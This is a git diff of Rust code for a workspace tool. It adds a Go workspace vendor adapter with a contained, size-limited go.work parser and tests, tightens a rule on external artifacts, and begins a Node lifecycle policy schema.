WorkspaceEnvironmentAdapterMetadata { + canonical_identity: "trail/go-vendor@2", + namespace: "trail", + name: "go-vendor-workspace", + contract_major: 2, + implementation_version: env!("CARGO_PKG_VERSION"), + distribution_digest: "builtin:go-workspace-vendor-plan-v1", + selectors: &["trail/go-vendor@2", "go-vendor-workspace", "go-work"], + kind: "dependency", + layer_adapter_name: "go-vendor", + discovery_markers: &["go.work"], + supported_operating_systems: &["linux", "macos", "windows"], + supported_architectures: &["aarch64", "x86_64"], + stability: "experimental", + description: "Multi-module Go workspace vendor tree with a contained member graph", + }; + const GO_CACHE_COMMAND_BINDINGS: &[WorkspaceEnvironmentCacheCommandBinding] = &[ WorkspaceEnvironmentCacheCommandBinding { cache_name: "module-store", @@ -61,6 +85,17 @@ const GO_COMMAND_BINDINGS: &[WorkspaceEnvironmentCommandBinding] = &[ }, ]; +const GO_WORKSPACE_COMMAND_BINDINGS: &[WorkspaceEnvironmentCommandBinding] = &[ + WorkspaceEnvironmentCommandBinding { + environment: "GOTOOLCHAIN", + value: "local", + }, + WorkspaceEnvironmentCommandBinding { + environment: "GOFLAGS", + value: "-mod=vendor -trimpath", + }, +]; + const GO_TOOL_COMMAND_BINDINGS: &[WorkspaceEnvironmentToolCommandBinding] = &[WorkspaceEnvironmentToolCommandBinding { programs: &["go"], @@ -102,6 +137,29 @@ impl WorkspaceEnvironmentAdapter for GoVendorAdapter { .is_some()) } + fn propose( + &self, + db: &Trail, + source_root: &ObjectId, + component_root: &str, + ) -> Result> { + let root = normalize_component_root(component_root)?; + if db + .root_file_entry(source_root, &join_repo_path(&root, "go.mod"))? + .is_none() + { + return Ok(None); + } + if db + .root_file_entry(source_root, &join_repo_path(&root, "go.work"))? + .is_some() + || go_component_is_workspace_member(db, source_root, &root)? + { + return Ok(None); + } + Ok(Some(WorkspaceEnvironmentAdapterProposal::ready())) + } + fn plan( &self, db: &Trail, @@ -118,15 +176,6 @@ impl WorkspaceEnvironmentAdapter for GoVendorAdapter { display_component_root(&component_root) )) })?; - if db - .root_file_entry(source_root, &join_repo_path(&component_root, "go.work"))? - .is_some() - { - return Err(Error::InvalidInput( - "Go workspaces require a multi-module graph adapter; trail/go-vendor@1 supports one module root" - .to_string(), - )); - } let go_sum_path = join_repo_path(&component_root, "go.sum"); let go_sum = db.root_file_entry(source_root, &go_sum_path)?; let go_version = command_identity("go", &["version"])?; @@ -271,6 +320,594 @@ impl WorkspaceEnvironmentAdapter for GoVendorAdapter { } } +impl WorkspaceEnvironmentAdapter for GoWorkspaceVendorAdapter { + fn metadata(&self) -> &'static WorkspaceEnvironmentAdapterMetadata { + &GO_WORKSPACE_VENDOR_ADAPTER_METADATA + } + + fn component_id(&self, component_root: &str) -> Result { + let root = normalize_component_root(component_root)?; + Ok(if root.is_empty() { + "go-vendor".to_string() + } else { + format!("go-vendor:{root}") + }) + } + + fn cache_command_bindings(&self) -> &'static [WorkspaceEnvironmentCacheCommandBinding] { + GO_CACHE_COMMAND_BINDINGS + } + + fn command_bindings(&self) -> &'static [WorkspaceEnvironmentCommandBinding] { + GO_WORKSPACE_COMMAND_BINDINGS + } + + fn tool_command_bindings(&self) -> &'static [WorkspaceEnvironmentToolCommandBinding] { + GO_TOOL_COMMAND_BINDINGS + } + + fn detect(&self, db: &Trail, source_root: &ObjectId, component_root: &str) -> Result { + let root = normalize_component_root(component_root)?; + Ok(db + .root_file_entry(source_root, &join_repo_path(&root, "go.work"))? + .is_some()) + } + + fn propose( + &self, + db: &Trail, + source_root: &ObjectId, + component_root: &str, + ) -> Result> { + let root = normalize_component_root(component_root)?; + let Some(entry) = db.root_file_entry(source_root, &join_repo_path(&root, "go.work"))? + else { + return Ok(None); + }; + let _ = load_go_workspace_graph(db, source_root, &root, &entry)?; + Ok(Some(WorkspaceEnvironmentAdapterProposal::ready())) + } + + fn plan( + &self, + db: &Trail, + source_root: &ObjectId, + component_root: &str, + ) -> Result { + let component_root = normalize_component_root(component_root)?; + let go_work_path = join_repo_path(&component_root, "go.work"); + let go_work = db + .root_file_entry(source_root, &go_work_path)? + .ok_or_else(|| { + Error::InvalidInput(format!( + "Go workspace component `{}` has no go.work", + display_component_root(&component_root) + )) + })?; + let graph = load_go_workspace_graph(db, source_root, &component_root, &go_work)?; + let go_version = command_identity("go", &["version"])?; + let go_tool = resolve_workspace_tool_executable("go")?; + let implementation_version = env!("CARGO_PKG_VERSION").to_string(); + let distribution_digest = "builtin:go-workspace-vendor-plan-v1".to_string(); + let cache_compatibility = BTreeMap::from([ + ("go".to_string(), go_version.clone()), + ("go_executable".to_string(), go_tool.identity.clone()), + ("platform".to_string(), std::env::consts::OS.to_string()), + ( + "architecture".to_string(), + std::env::consts::ARCH.to_string(), + ), + ]); + let module_cache = db.declare_workspace_environment_cache( + self.identity(), + "module-store", + WorkspaceEnvironmentCacheProtocol::ContentStore, + WorkspaceEnvironmentCacheAccess::ToolConcurrent, + cache_compatibility.clone(), + )?; + let build_cache = db.declare_workspace_environment_cache( + self.identity(), + "build-cache", + WorkspaceEnvironmentCacheProtocol::ContentStore, + WorkspaceEnvironmentCacheAccess::ToolConcurrent, + cache_compatibility, + )?; + let working_directory = if component_root.is_empty() { + "project".to_string() + } else { + format!("project/{component_root}") + }; + let mount_path = join_repo_path(&component_root, "vendor"); + let mut inputs = BTreeMap::from([ + ("source_root".to_string(), source_root.0.clone()), + (go_work_path.clone(), go_work.content_hash), + ( + "adapter_implementation".to_string(), + implementation_version.clone(), + ), + ( + "adapter_distribution_digest".to_string(), + distribution_digest.clone(), + ), + ( + "workspace_members".to_string(), + go_workspace_members_digest(&graph.members), + ), + ( + "output_contract".to_string(), + format!("immutable-seed-private:{mount_path}"), + ), + ( + "command_environment".to_string(), + "GOMODCACHE=cache:module-store;GOCACHE=cache:build-cache;GOTOOLCHAIN=local;GOFLAGS=-mod=vendor -trimpath;TRAIL_GO=tool:go;PATH+=tool-dir:go" + .to_string(), + ), + ]); + let go_work_sum_path = join_repo_path(&component_root, "go.work.sum"); + inputs.insert( + go_work_sum_path.clone(), + db.root_file_entry(source_root, &go_work_sum_path)? + .map(|entry| entry.content_hash) + .unwrap_or_else(|| "missing".to_string()), + ); + for member in &graph.members { + let go_mod_path = join_repo_path(member, "go.mod"); + let go_mod = db + .root_file_entry(source_root, &go_mod_path)? + .ok_or_else(|| { + Error::InvalidInput(format!("Go workspace member `{member}` has no go.mod")) + })?; + inputs.insert(go_mod_path, go_mod.content_hash); + let go_sum_path = join_repo_path(member, "go.sum"); + inputs.insert( + go_sum_path.clone(), + db.root_file_entry(source_root, &go_sum_path)? + .map(|entry| entry.content_hash) + .unwrap_or_else(|| "missing".to_string()), + ); + } + let environment = BTreeMap::from([ + ("GOTOOLCHAIN".to_string(), "local".to_string()), + ( + "GOMODCACHE".to_string(), + module_cache.storage_path.to_string_lossy().into_owned(), + ), + ( + "GOCACHE".to_string(), + build_cache.storage_path.to_string_lossy().into_owned(), + ), + ]); + Ok(WorkspaceEnvironmentPlan { + component_id: self.component_id(&component_root)?, + adapter_identity: self.identity().to_string(), + adapter_version: 2, + implementation_version, + distribution_digest, + kind: "dependency".to_string(), + dependencies: Vec::new(), + resolved_dependencies: Vec::new(), + layer_key: WorkspaceLayerKeyV1 { + kind: "dependency".to_string(), + adapter: self.layer_adapter_name().to_string(), + adapter_version: 2, + inputs, + tool_versions: BTreeMap::from([ + ("go".to_string(), go_version), + ("go-executable".to_string(), go_tool.identity.clone()), + ]), + platform: std::env::consts::OS.to_string(), + architecture: std::env::consts::ARCH.to_string(), + portability_scope: "source-root-go-toolchain-platform".to_string(), + strategy: "go-work-vendor-v2".to_string(), + }, + inputs: Vec::new(), + resolution_inputs: Vec::new(), + construction_seed: Some(WorkspaceEnvironmentConstructionSeed { + ignored_identity_inputs: BTreeSet::from([ + "source_root".to_string(), + "host:adapter_identity_v3".to_string(), + ]), + }), + source_projection: Some((source_root.clone(), "project".to_string())), + pre_commands: Vec::new(), + command: Some(WorkspaceEnvironmentCommand { + program: "go".to_string(), + resolved_program: go_tool.path, + executable_identity: go_tool.identity, + args: vec!["work".to_string(), "vendor".to_string()], + working_directory: working_directory.clone(), + environment, + remove_environment: vec!["GOWORK".to_string(), "GOFLAGS".to_string()], + cache_names: vec![module_cache.name.clone(), build_cache.name.clone()], + }), + mounted_commands: Vec::new(), + caches: vec![module_cache, build_cache], + external_artifacts: Vec::new(), + runtime_resources: Vec::new(), + sandbox_policy: WorkspaceEnvironmentSandboxPolicy::TrustedBuiltin, + outputs: vec![WorkspaceEnvironmentOutput { + name: "vendor".to_string(), + output_path: format!("{working_directory}/vendor"), + mount_path, + policy: WorkspaceEnvironmentOutputPolicy::ImmutableSeedPrivate, + reuse: EnvironmentReuseMode::Exact, + scope: EnvironmentSharingScope::Workspace, + publish: EnvironmentPublicationTrigger::OnSync, + gate: None, + create_if_missing: true, + }], + stale_reason: + "source root, Go workspace graph, Go toolchain, platform, or adapter policy changed" + .to_string(), + }) + } +} + +#[derive(Clone, Debug, PartialEq, Eq)] +struct GoWorkspaceGraph { + members: Vec, +} + +fn go_workspace_members_digest(members: &[String]) -> String { + let mut framed = Vec::new(); + for member in members { + framed.extend_from_slice(&(member.len() as u64).to_be_bytes()); + framed.extend_from_slice(member.as_bytes()); + } + sha256_hex(&framed) +} + +fn load_go_workspace_graph( + db: &Trail, + source_root: &ObjectId, + component_root: &str, + go_work: &FileEntry, +) -> Result { + if go_work.size_bytes > MAX_GO_WORK_BYTES { + return Err(Error::InvalidInput(format!( + "Go workspace `{}` is {} bytes; maximum is {MAX_GO_WORK_BYTES}", + join_repo_path(component_root, "go.work"), + go_work.size_bytes + ))); + } + let bytes = db.materialize_entry_bytes(go_work)?; + parse_go_workspace_graph(&bytes, component_root, |member| { + Ok(db + .root_file_entry(source_root, &join_repo_path(member, "go.mod"))? + .is_some()) + }) +} + +fn parse_go_workspace_graph( + bytes: &[u8], + component_root: &str, + mut member_exists: impl FnMut(&str) -> Result, +) -> Result { + if bytes.len() as u64 > MAX_GO_WORK_BYTES { + return Err(Error::InvalidInput(format!( + "Go workspace is {} bytes; maximum is {MAX_GO_WORK_BYTES}", + bytes.len() + ))); + } + let text = std::str::from_utf8(bytes) + .map_err(|_| Error::InvalidInput("Go workspace go.work is not UTF-8".to_string()))?; + let mut in_block_comment = false; + let mut in_use_block = false; + let mut in_replace_block = false; + let mut members = BTreeSet::new(); + for (index, raw_line) in text.lines().enumerate() { + let line = strip_go_work_comments(raw_line, &mut in_block_comment)?; + let tokens = go_work_line_tokens(&line)?; + if tokens.is_empty() { + continue; + } + let candidate = if in_use_block { + if tokens.as_slice() == [")"] { + in_use_block = false; + continue; + } + if tokens.len() != 1 { + return Err(Error::InvalidInput(format!( + "Go workspace use block line {} must contain exactly one module directory", + index + 1 + ))); + } + Some(tokens[0].as_str()) + } else if in_replace_block { + if tokens.as_slice() == [")"] { + in_replace_block = false; + continue; + } + validate_go_workspace_replacement( + &tokens, + component_root, + &mut member_exists, + index + 1, + )?; + None + } else if tokens[0] == "use" { + match tokens.as_slice() { + [_, token] if token == "(" => { + in_use_block = true; + None + } + [_, member] => Some(member.as_str()), + _ => { + return Err(Error::InvalidInput(format!( + "Go workspace use directive on line {} is malformed", + index + 1 + ))); + } + } + } else if tokens[0] == "replace" { + match tokens.as_slice() { + [_, token] if token == "(" => { + in_replace_block = true; + } + [_, replacement @ ..] => validate_go_workspace_replacement( + replacement, + component_root, + &mut member_exists, + index + 1, + )?, + _ => unreachable!("replace token is present"), + } + None + } else { + None + }; + let Some(candidate) = candidate else { + continue; + }; + let member = resolve_go_workspace_member(component_root, candidate)?; + if !member_exists(&member)? { + return Err(Error::InvalidInput(format!( + "Go workspace member `{candidate}` has no contained go.mod at `{}`", + join_repo_path(&member, "go.mod") + ))); + } + if !members.insert(member.clone()) { + return Err(Error::InvalidInput(format!( + "Go workspace contains duplicate member `{member}`" + ))); + } + if members.len() > MAX_GO_WORK_MEMBERS { + return Err(Error::InvalidInput(format!( + "Go workspace has more than {MAX_GO_WORK_MEMBERS} members" + ))); + } + } + if in_block_comment { + return Err(Error::InvalidInput( + "Go workspace contains an unterminated block comment".to_string(), + )); + } + if in_use_block { + return Err(Error::InvalidInput( + "Go workspace contains an unterminated use block".to_string(), + )); + } + if in_replace_block { + return Err(Error::InvalidInput( + "Go workspace contains an unterminated replace block".to_string(), + )); + } + if members.is_empty() { + return Err(Error::InvalidInput( + "Go workspace must declare at least one use member".to_string(), + )); + } + Ok(GoWorkspaceGraph { + members: members.into_iter().collect(), + }) +} + +fn validate_go_workspace_replacement( + tokens: &[String], + component_root: &str, + member_exists: &mut impl FnMut(&str) -> Result, + line: usize, +) -> Result<()> { + let arrows = tokens + .iter() + .enumerate() + .filter_map(|(index, token)| (token == "=>").then_some(index)) + .collect::>(); + if arrows.len() != 1 { + return Err(Error::InvalidInput(format!( + "Go workspace replace directive on line {line} must contain one `=>`" + ))); + } + let arrow = arrows[0]; + let left = &tokens[..arrow]; + let right = &tokens[arrow + 1..]; + if !(1..=2).contains(&left.len()) || !(1..=2).contains(&right.len()) { + return Err(Error::InvalidInput(format!( + "Go workspace replace directive on line {line} is malformed" + ))); + } + if right.len() == 2 { + return Ok(()); + } + let target = &right[0]; + if !target.starts_with('.') && !target.starts_with('/') && !target.contains('\\') { + return Err(Error::InvalidInput(format!( + "Go workspace replacement `{target}` on line {line} must include a version or use a contained relative directory" + ))); + } + let resolved = resolve_go_workspace_member(component_root, target)?; + if !member_exists(&resolved)? { + return Err(Error::InvalidInput(format!( + "Go workspace replacement `{target}` has no contained go.mod at `{}`", + join_repo_path(&resolved, "go.mod") + ))); + } + Ok(()) +} + +fn resolve_go_workspace_member(component_root: &str, member: &str) -> Result { + let member = if member == "." || member == "./" { + String::new() + } else { + normalize_relative_path(member).map_err(|error| { + Error::InvalidInput(format!( + "Go workspace member `{member}` must stay inside its component root: {error}" + )) + })? + }; + match (component_root.is_empty(), member.is_empty()) { + (true, true) => Ok(String::new()), + (true, false) => Ok(member), + (false, true) => Ok(component_root.to_string()), + (false, false) => normalize_relative_path(&format!("{component_root}/{member}")), + } +} + +fn go_component_is_workspace_member( + db: &Trail, + source_root: &ObjectId, + component_root: &str, +) -> Result { + if component_root.is_empty() { + return Ok(false); + } + let segments = component_root.split('/').collect::>(); + for depth in (0..segments.len()).rev() { + let ancestor = segments[..depth].join("/"); + let Some(go_work) = + db.root_file_entry(source_root, &join_repo_path(&ancestor, "go.work"))? + else { + continue; + }; + let graph = load_go_workspace_graph(db, source_root, &ancestor, &go_work)?; + if graph + .members + .binary_search(&component_root.to_string()) + .is_ok() + { + return Ok(true); + } + } + Ok(false) +} + +fn strip_go_work_comments(line: &str, in_block: &mut bool) -> Result { + let bytes = line.as_bytes(); + let mut output = Vec::with_capacity(bytes.len()); + let mut index = 0; + let mut quote = None; + while index < bytes.len() { + if *in_block { + if bytes[index..].starts_with(b"*/") { + *in_block = false; + index += 2; + } else { + index += 1; + } + continue; + } + if let Some(delimiter) = quote { + output.push(bytes[index]); + if bytes[index] == delimiter { + quote = None; + } else if delimiter == b'"' && bytes[index] == b'\\' { + index += 1; + if index >= bytes.len() { + return Err(Error::InvalidInput( + "Go workspace contains an unterminated quoted string".to_string(), + )); + } + output.push(bytes[index]); + } + index += 1; + continue; + } + if bytes[index..].starts_with(b"//") { + break; + } + if bytes[index..].starts_with(b"/*") { + *in_block = true; + index += 2; + continue; + } + if matches!(bytes[index], b'"' | b'`') { + quote = Some(bytes[index]); + } + output.push(bytes[index]); + index += 1; + } + if quote.is_some() { + return Err(Error::InvalidInput( + "Go workspace contains an unterminated quoted string".to_string(), + )); + } + String::from_utf8(output) + .map_err(|_| Error::InvalidInput("Go workspace go.work is not UTF-8".to_string())) +} + +fn go_work_line_tokens(line: &str) -> Result> { + let mut tokens = Vec::new(); + let mut chars = line.char_indices().peekable(); + while let Some((_, ch)) = chars.peek().copied() { + if ch.is_whitespace() { + chars.next(); + continue; + } + if matches!(ch, '(' | ')') { + chars.next(); + tokens.push(ch.to_string()); + continue; + } + if matches!(ch, '"' | '`') { + let delimiter = ch; + chars.next(); + let mut value = String::new(); + let mut closed = false; + while let Some((_, current)) = chars.next() { + if current == delimiter { + closed = true; + break; + } + if delimiter == '"' && current == '\\' { + let Some((_, escaped)) = chars.next() else { + break; + }; + match escaped { + '\\' | '"' => value.push(escaped), + 'n' => value.push('\n'), + 'r' => value.push('\r'), + 't' => value.push('\t'), + _ => { + return Err(Error::InvalidInput(format!( + "Go workspace path uses unsupported escape `\\{escaped}`" + ))); + } + } + } else { + value.push(current); + } + } + if !closed { + return Err(Error::InvalidInput( + "Go workspace contains an unterminated quoted path".to_string(), + )); + } + tokens.push(value); + continue; + } + let mut value = String::new(); + while let Some((_, current)) = chars.peek().copied() { + if current.is_whitespace() || matches!(current, '(' | ')') { + break; + } + value.push(current); + chars.next(); + } + tokens.push(value); + } + Ok(tokens) +} + fn normalize_component_root(component_root: &str) -> Result { if component_root.trim_matches('/').is_empty() { Ok(String::new()) @@ -314,6 +951,196 @@ mod tests { use super::*; use std::ffi::OsStr; + #[test] + fn go_workspace_graph_is_contained_bounded_and_deterministic() { + let graph = parse_go_workspace_graph( + br#" + go 1.22 + // paths may be quoted and comments are ignored + use ( + "./zeta" + ./alpha /* retained member */ + ) + replace example.com/old => ./alpha + "#, + "nested", + |member| Ok(matches!(member, "nested/alpha" | "nested/zeta")), + ) + .unwrap(); + assert_eq!(graph.members, vec!["nested/alpha", "nested/zeta"]); + + let duplicate = + parse_go_workspace_graph(b"go 1.22\nuse (\n./member\nmember\n)\n", "", |_| Ok(true)) + .unwrap_err(); + assert!(duplicate.to_string().contains("duplicate member")); + + let traversal = + parse_go_workspace_graph(b"go 1.22\nuse ../outside\n", "nested", |_| Ok(true)) + .unwrap_err(); + assert!(traversal.to_string().contains("must stay inside")); + + let missing = + parse_go_workspace_graph(b"go 1.22\nuse ./missing\n", "", |_| Ok(false)).unwrap_err(); + assert!(missing.to_string().contains("has no contained go.mod")); + + let too_large = vec![b'x'; MAX_GO_WORK_BYTES as usize + 1]; + let oversized = parse_go_workspace_graph(&too_large, "", |_| Ok(true)).unwrap_err(); + assert!(oversized.to_string().contains("maximum")); + + let escaping_replacement = parse_go_workspace_graph( + b"go 1.22\nuse ./member\nreplace example.com/old => ../outside\n", + "nested", + |member| Ok(member == "nested/member"), + ) + .unwrap_err(); + assert!(escaping_replacement + .to_string() + .contains("must stay inside")); + + let mut too_many_members = String::from("go 1.22\nuse (\n"); + for index in 0..=MAX_GO_WORK_MEMBERS { + too_many_members.push_str(&format!("./member-{index}\n")); + } + too_many_members.push_str(")\n"); + let over_limit = + parse_go_workspace_graph(too_many_members.as_bytes(), "", |_| Ok(true)).unwrap_err(); + assert!(over_limit.to_string().contains("more than")); + + let unterminated = + parse_go_workspace_graph(b"go 1.22\nuse (\n./member\n", "", |_| Ok(true)).unwrap_err(); + assert!(unterminated.to_string().contains("unterminated use block")); + } + + #[cfg(unix)] + #[test] + fn go_workspace_symlink_member_never_enters_the_pinned_graph() { + use std::os::unix::fs::symlink; + + let workspace = tempfile::tempdir().unwrap(); + let external = tempfile::tempdir().unwrap(); + fs::write( + external.path().join("go.mod"), + "module example.com/external\n\ngo 1.22\n", + ) + .unwrap(); + fs::write(workspace.path().join("go.work"), "go 1.22\nuse ./linked\n").unwrap(); + symlink(external.path(), workspace.path().join("linked")).unwrap(); + + let initialized = Trail::init(workspace.path(), "main", InitImportMode::WorkingTree, false); + if initialized.is_err() { + return; + } + let mut db = Trail::open(workspace.path()).unwrap(); + let mode = if cfg!(target_os = "macos") { + LaneWorkdirMode::NfsCow + } else { + LaneWorkdirMode::FuseCow + }; + db.spawn_lane_with_workdir_mode_paths_and_neighbors( + "symlink-workspace", + Some("main"), + mode, + None, + None, + None, + &[], + false, + ) + .unwrap(); + let error = db + .discover_workspace_environment("symlink-workspace", None) + .unwrap_err(); + assert!(error.to_string().contains("has no contained go.mod")); + } + + #[test] + fn go_workspace_is_one_graph_component_and_constructs_vendor_output() { + if command_identity("go", &["version"]).is_err() { + return; + } + let workspace = tempfile::tempdir().unwrap(); + fs::create_dir_all(workspace.path().join("app")).unwrap(); + fs::create_dir_all(workspace.path().join("lib")).unwrap(); + fs::write( + workspace.path().join("go.work"), + "go 1.22\n\nuse (\n\t./app\n\t./lib\n)\n", + ) + .unwrap(); + fs::write( + workspace.path().join("app/go.mod"), + "module example.com/app\n\ngo 1.22\n", + ) + .unwrap(); + fs::write( + workspace.path().join("app/main.go"), + "package main\nfunc main() {}\n", + ) + .unwrap(); + fs::write( + workspace.path().join("lib/go.mod"), + "module example.com/lib\n\ngo 1.22\n", + ) + .unwrap(); + fs::write(workspace.path().join("lib/lib.go"), "package lib\n").unwrap(); + Trail::init(workspace.path(), "main", InitImportMode::WorkingTree, false).unwrap(); + let mut db = Trail::open(workspace.path()).unwrap(); + let mode = if cfg!(target_os = "macos") { + LaneWorkdirMode::NfsCow + } else if cfg!(target_os = "windows") { + LaneWorkdirMode::DokanCow + } else { + LaneWorkdirMode::FuseCow + }; + db.spawn_lane_with_workdir_mode_paths_and_neighbors( + "go-workspace", + Some("main"), + mode, + None, + None, + None, + &[], + false, + ) + .unwrap(); + + let discovery = db + .discover_workspace_environment("go-workspace", None) + .unwrap(); + assert_eq!(discovery.components.len(), 1); + assert_eq!(discovery.components[0].component_id, "go-vendor"); + assert_eq!( + discovery.components[0].adapter_identity, + "trail/go-vendor@2" + ); + let plan = GO_WORKSPACE_VENDOR_ADAPTER + .plan(&db, &discovery.source_root, "") + .unwrap(); + assert_eq!(plan.layer_key.strategy, "go-work-vendor-v2"); + assert_eq!( + plan.command.as_ref().unwrap().args, + vec!["work".to_string(), "vendor".to_string()] + ); + assert_eq!( + plan.layer_key.inputs["workspace_members"], + go_workspace_members_digest(&["app".to_string(), "lib".to_string()]) + ); + + let synced = db + .sync_workspace_environment("go-workspace", "trail/go-vendor@2", None) + .unwrap(); + assert!(Path::new(&synced.storage_path) + .join("modules.txt") + .is_file()); + let environment = db + .lane_workspace_environment("go-workspace") + .unwrap() + .into_iter() + .collect::>(); + assert!(!environment.contains_key("GOWORK")); + assert_eq!(environment["GOTOOLCHAIN"], "local"); + assert_eq!(environment["GOFLAGS"], "-mod=vendor -trimpath"); + } + #[test] fn go_adapter_vendors_once_and_reuses_the_immutable_tree_across_lanes() { if command_identity("go", &["version"]).is_err() { diff --git a/trail/src/db/lane/workspace_layer.rs b/trail/src/db/lane/workspace_layer.rs index 992800f3..bfc78550 100644 --- a/trail/src/db/lane/workspace_layer.rs +++ b/trail/src/db/lane/workspace_layer.rs @@ -4159,12 +4159,22 @@ impl Trail { activation.component_id ))); } - if (!activation.external_artifacts.is_empty() - || !activation.runtime_resources.is_empty()) - && (layer.is_some() || !activation.outputs.is_empty()) + let external_outputs_are_private_state = activation.outputs.iter().all(|output| { + output.policy == EnvironmentOutputPolicy::WritablePrivate + && output.reuse == EnvironmentReuseMode::None + && output.scope == EnvironmentSharingScope::Lane + && output.publish == EnvironmentPublicationTrigger::Never + && output.gate.is_none() + }); + if (layer.is_some() + && (!activation.external_artifacts.is_empty() + || !activation.runtime_resources.is_empty())) + || (!activation.runtime_resources.is_empty() && !activation.outputs.is_empty()) + || (!activation.external_artifacts.is_empty() + && !external_outputs_are_private_state) { return Err(Error::InvalidInput(format!( - "environment component `{}` mixes external/runtime resources with filesystem layer outputs", + "environment component `{}` permits runtime resources only without outputs and external artifacts only with layerless lane-private never-published state", activation.component_id ))); } @@ -6809,6 +6819,106 @@ mod tests { ); } + #[test] + fn external_artifacts_activate_only_with_layerless_private_state() { + let workspace = tempfile::tempdir().unwrap(); + fs::write(workspace.path().join("README.md"), "root\n").unwrap(); + Trail::init(workspace.path(), "main", InitImportMode::WorkingTree, false).unwrap(); + let mut db = Trail::open(workspace.path()).unwrap(); + db.spawn_lane_with_workdir_mode_paths_and_neighbors( + "external-private", + Some("main"), + if cfg!(target_os = "macos") { + LaneWorkdirMode::NfsCow + } else if cfg!(target_os = "windows") { + LaneWorkdirMode::DokanCow + } else { + LaneWorkdirMode::FuseCow + }, + None, + None, + None, + &[], + false, + ) + .unwrap(); + let canonical_key = WorkspaceLayerKeyV1 { + kind: "external".to_string(), + adapter: "nix".to_string(), + adapter_version: 1, + inputs: BTreeMap::from([("flake.lock".to_string(), "lock-digest".to_string())]), + tool_versions: BTreeMap::new(), + platform: std::env::consts::OS.to_string(), + architecture: std::env::consts::ARCH.to_string(), + portability_scope: "host".to_string(), + strategy: "external-private-state-test".to_string(), + }; + let expected_key = db.workspace_layer_cache_key(&canonical_key).unwrap(); + let seed = tempfile::tempdir().unwrap(); + let activation = EnvironmentLayerActivation { + layer_id: None, + outputs: vec![EnvironmentLayerOutputActivation { + name: "profile".to_string(), + mount_path: ".trail-nix-profile".to_string(), + policy: EnvironmentOutputPolicy::WritablePrivate, + reuse: EnvironmentReuseMode::None, + scope: EnvironmentSharingScope::Lane, + publish: EnvironmentPublicationTrigger::Never, + gate: None, + binding_identity: "private-nix-profile".to_string(), + manifest_object_id: None, + publication_id: None, + private_seed: Some(seed.path().to_path_buf()), + layer_subpath: String::new(), + }], + component_id: "external-build.nix".to_string(), + adapter_identity: "trail-examples/nix@1".to_string(), + adapter_version: 1, + implementation_version: "1.0.0".to_string(), + distribution_digest: format!("sha256:{}", "d".repeat(64)), + kind: "external".to_string(), + dependencies: Vec::new(), + caches: Vec::new(), + external_artifacts: vec![EnvironmentExternalArtifactReport { + name: "package".to_string(), + artifact_type: "verified_external".to_string(), + provider: "nix".to_string(), + reference: "/nix/store/11111111111111111111111111111111-package".to_string(), + digest: format!("sha256:{}", "a".repeat(64)), + platform: "linux/arm64".to_string(), + cleanup_owner: "external".to_string(), + }], + runtime_resources: Vec::new(), + expected_key, + canonical_key, + }; + + db.replace_declared_workspace_layers("external-private", std::slice::from_ref(&activation)) + .unwrap(); + let generation = db + .active_environment_generation("external-private") + .unwrap() + .unwrap(); + assert_eq!(generation.components[0].external_artifacts.len(), 1); + assert!(generation.components[0].layer_id.is_none()); + assert_eq!( + generation.components[0].outputs[0].policy, + EnvironmentOutputPolicy::WritablePrivate + ); + + let mut unsafe_activation = activation; + unsafe_activation.outputs[0].publish = EnvironmentPublicationTrigger::Manual; + let error = db + .replace_declared_workspace_layers( + "external-private", + std::slice::from_ref(&unsafe_activation), + ) + .unwrap_err(); + assert!(error + .to_string() + .contains("lane-private never-published state")); + } + #[derive(Clone, Copy)] struct ArtifactConformanceProfile { producer_family: &'static str, @@ -7540,7 +7650,7 @@ validation = "path-contract" "INSERT INTO environment_component_states( view_id,component_id,adapter_identity,adapter_version,implementation_version, distribution_digest,kind,expected_key,attached_key,status,reason,updated_at) - VALUES('parent-view','node','trail/node@1',1,?1,'builtin:node-plan-v2', + VALUES('parent-view','node','trail/node@1',1,?1,'builtin:node-plan-v3', 'dependency',?2,?2,'ready',NULL,1)", params![env!("CARGO_PKG_VERSION"), &layer.cache_key], ) @@ -7596,7 +7706,7 @@ validation = "path-contract" db.conn .execute( "UPDATE environment_component_states - SET distribution_digest='builtin:node-plan-v2' + SET distribution_digest='builtin:node-plan-v3' WHERE view_id='parent-view' AND component_id='node'", [], ) diff --git a/trail/src/db/lane/workspace_node.rs b/trail/src/db/lane/workspace_node.rs index 3852d447..50bee874 100644 --- a/trail/src/db/lane/workspace_node.rs +++ b/trail/src/db/lane/workspace_node.rs @@ -22,7 +22,7 @@ static NODE_WORKSPACE_ADAPTER_METADATA: WorkspaceEnvironmentAdapterMetadata = name: "node", contract_major: 1, implementation_version: env!("CARGO_PKG_VERSION"), - distribution_digest: "builtin:node-plan-v2", + distribution_digest: "builtin:node-plan-v3", selectors: &["trail/node@1", "node"], kind: "dependency", layer_adapter_name: "node", @@ -127,6 +127,45 @@ const NODE_OUTPUT_COMMAND_BINDINGS: &[WorkspaceEnvironmentOutputCommandBinding] }, ]; +const NODE_LIFECYCLE_POLICY_FILE: &str = "trail-node-lifecycle.json"; +const MAX_NODE_LIFECYCLE_SOURCE_FILES: usize = 4_096; +const MAX_NODE_LIFECYCLE_SOURCE_BYTES: u64 = 64 * 1024 * 1024; + +#[derive(Clone, Debug, serde::Deserialize)] +#[serde(deny_unknown_fields)] +struct NodeLifecyclePolicyV1 { + version: u32, + manager: String, + lock_sha256: String, + packages: Vec, + scripts: Vec, + capabilities: NodeLifecycleCapabilitiesV1, + outputs: Vec, +} + +#[derive(Clone, Debug, serde::Deserialize)] +#[serde(deny_unknown_fields)] +struct NodeLifecycleScriptV1 { + package: String, + phase: String, +} + +#[derive(Clone, Debug, serde::Deserialize)] +#[serde(deny_unknown_fields)] +struct NodeLifecycleCapabilitiesV1 { + network: String, + native_toolchain: bool, +} + +#[derive(Clone, Debug)] +struct ApprovedNodeLifecycle { + path: String, + entry: FileEntry, + digest: String, + script: String, + outputs: Vec, +} + impl WorkspaceEnvironmentAdapter for NodeWorkspaceAdapter { fn metadata(&self) -> &'static WorkspaceEnvironmentAdapterMetadata { &NODE_WORKSPACE_ADAPTER_METADATA @@ -176,13 +215,65 @@ impl WorkspaceEnvironmentAdapter for NodeWorkspaceAdapter { if node_component_is_descendant_of_locked_workspace(db, source_root, &root)? { return Ok(None); } - for (name, _) in supported_lockfiles() { - if db - .root_file_entry(source_root, &join_repo_path(&root, name))? - .is_some() - { + let package_path = join_repo_path(&root, "package.json"); + let package_entry = db + .root_file_entry(source_root, &package_path)? + .ok_or_else(|| Error::Corrupt(format!("Node manifest `{package_path}` disappeared")))?; + let package_bytes = db.materialize_entry_bytes(&package_entry)?; + let package: serde_json::Value = + 